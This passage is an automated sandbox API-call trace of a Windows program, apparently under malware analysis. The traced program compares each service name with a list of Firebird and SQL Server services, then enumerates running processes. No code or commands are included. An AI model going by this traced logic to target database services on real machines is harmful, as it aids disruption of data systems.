(lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0176.918] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0176.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0176.918] lstrlenW (lpString="LanmanServer") returned 12 [0176.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0176.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0176.918] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0176.918] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0176.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0176.918] lstrlenW (lpString="LanmanWorkstation") returned 17 [0176.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0176.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0176.918] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0176.918] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0176.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0176.918] lstrlenW (lpString="lfsvc") returned 5 [0176.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0176.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0176.919] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0176.919] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0176.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0176.919] lstrlenW (lpString="lmhosts") returned 7 [0176.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0176.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0176.919] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0176.919] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0176.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0176.919] lstrlenW (lpString="LSM") returned 3 [0176.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0176.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0176.919] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0176.919] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0176.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0176.919] lstrlenW (lpString="MpsSvc") returned 6 [0176.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0176.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0176.919] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0176.919] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0176.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0176.919] lstrlenW (lpString="NcbService") returned 10 [0176.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0176.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0176.919] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0176.919] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0176.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0176.919] lstrlenW (lpString="netprofm") returned 8 [0176.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0176.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0176.919] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0176.919] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0176.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0176.920] lstrlenW (lpString="NgcSvc") returned 6 [0176.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0176.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0176.920] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0176.920] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0176.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0176.920] lstrlenW (lpString="NlaSvc") returned 6 [0176.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0176.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0176.920] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0176.920] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0176.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0176.920] lstrlenW (lpString="nsi") returned 3 [0176.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0176.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0176.920] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0176.920] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0176.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0176.920] lstrlenW (lpString="PcaSvc") returned 6 [0176.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0176.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0176.920] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0176.920] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0176.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0176.920] lstrlenW (lpString="PlugPlay") returned 8 [0176.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0176.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0176.920] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0176.920] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0176.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0176.920] lstrlenW (lpString="Power") returned 5 [0176.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0176.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0176.921] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0176.921] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0176.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0176.921] lstrlenW (lpString="ProfSvc") returned 7 [0176.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0176.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0176.921] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0176.921] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0176.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0176.921] lstrlenW (lpString="RpcEptMapper") returned 12 [0176.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0176.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0176.921] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0176.921] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0176.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0176.921] lstrlenW (lpString="RpcSs") returned 5 [0176.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0176.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0176.921] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0176.921] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0176.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0176.921] lstrlenW (lpString="SamSs") returned 5 [0176.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0176.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0176.921] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0177.154] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0177.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0177.154] lstrlenW (lpString="Schedule") returned 8 [0177.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0177.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0177.154] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0177.154] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0177.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0177.154] lstrlenW (lpString="SecurityHealthService") returned 21 [0177.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0177.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0177.154] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0177.154] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0177.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0177.154] lstrlenW (lpString="SENS") returned 4 [0177.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0177.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0177.154] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0177.154] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0177.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0177.154] lstrlenW (lpString="ShellHWDetection") returned 16 [0177.154] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0177.154] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0177.154] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0177.154] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0177.154] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0177.154] lstrlenW (lpString="Spooler") returned 7 [0177.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0177.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0177.155] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0177.155] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0177.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0177.155] lstrlenW (lpString="StateRepository") returned 15 [0177.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0177.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0177.155] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0177.155] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0177.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0177.155] lstrlenW (lpString="SysMain") returned 7 [0177.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0177.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0177.155] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0177.155] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0177.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0177.155] lstrlenW (lpString="SystemEventsBroker") returned 18 [0177.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0177.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0177.155] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0177.155] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0177.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0177.155] lstrlenW (lpString="Themes") returned 6 [0177.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0177.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0177.155] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0177.155] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0177.155] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0177.155] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0177.155] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0177.155] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0177.155] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0177.155] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0177.156] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x49a3a0 | out: hHeap=0x420000) returned 1 [0177.156] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3e8 [0177.165] Process32FirstW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0177.165] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0177.165] lstrlenW (lpString="System") returned 6 [0177.165] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0177.166] lstrlenW (lpString="smss.exe") returned 8 [0177.166] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0177.166] lstrlenW (lpString="csrss.exe") returned 9 [0177.166] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0177.167] lstrlenW (lpString="wininit.exe") returned 11 [0177.167] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0177.167] lstrlenW (lpString="csrss.exe") returned 9 [0177.167] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0177.168] lstrlenW (lpString="winlogon.exe") returned 12 [0177.168] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0177.168] lstrlenW (lpString="services.exe") returned 12 [0177.168] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0177.168] lstrlenW (lpString="lsass.exe") returned 9 [0177.168] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0177.169] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0177.169] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0177.169] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0177.169] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.170] lstrlenW (lpString="svchost.exe") returned 11 [0177.170] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.170] lstrlenW (lpString="svchost.exe") returned 11 [0177.170] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0177.171] lstrlenW (lpString="dwm.exe") returned 7 [0177.171] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.171] lstrlenW (lpString="svchost.exe") returned 11 [0177.171] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.171] lstrlenW (lpString="svchost.exe") returned 11 [0177.172] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.172] lstrlenW (lpString="svchost.exe") returned 11 [0177.172] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.172] lstrlenW (lpString="svchost.exe") returned 11 [0177.172] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.173] lstrlenW (lpString="svchost.exe") returned 11 [0177.173] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.173] lstrlenW (lpString="svchost.exe") returned 11 [0177.173] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.174] lstrlenW (lpString="svchost.exe") returned 11 [0177.174] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.174] lstrlenW (lpString="svchost.exe") returned 11 [0177.174] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.174] lstrlenW (lpString="svchost.exe") returned 11 [0177.174] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.175] lstrlenW (lpString="svchost.exe") returned 11 [0177.175] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0177.175] lstrlenW (lpString="spoolsv.exe") returned 11 [0177.175] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.176] lstrlenW (lpString="svchost.exe") returned 11 [0177.176] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0177.176] lstrlenW (lpString="audiodg.exe") returned 11 [0177.176] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0177.177] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0177.177] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0177.177] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0177.177] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0177.177] lstrlenW (lpString="Memory Compression") returned 18 [0177.177] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0177.178] lstrlenW (lpString="sihost.exe") returned 10 [0177.178] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0177.178] lstrlenW (lpString="svchost.exe") returned 11 [0177.178] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0177.179] lstrlenW (lpString="taskhostw.exe") returned 13 [0177.179] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0177.179] lstrlenW (lpString="msoia.exe") returned 9 [0177.179] Process32NextW (in: hSnapshot=0x3e8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0177.179] lstrlenW (lpString="explorer.exe") returned 12 [0177.180] Process32NextW (in: 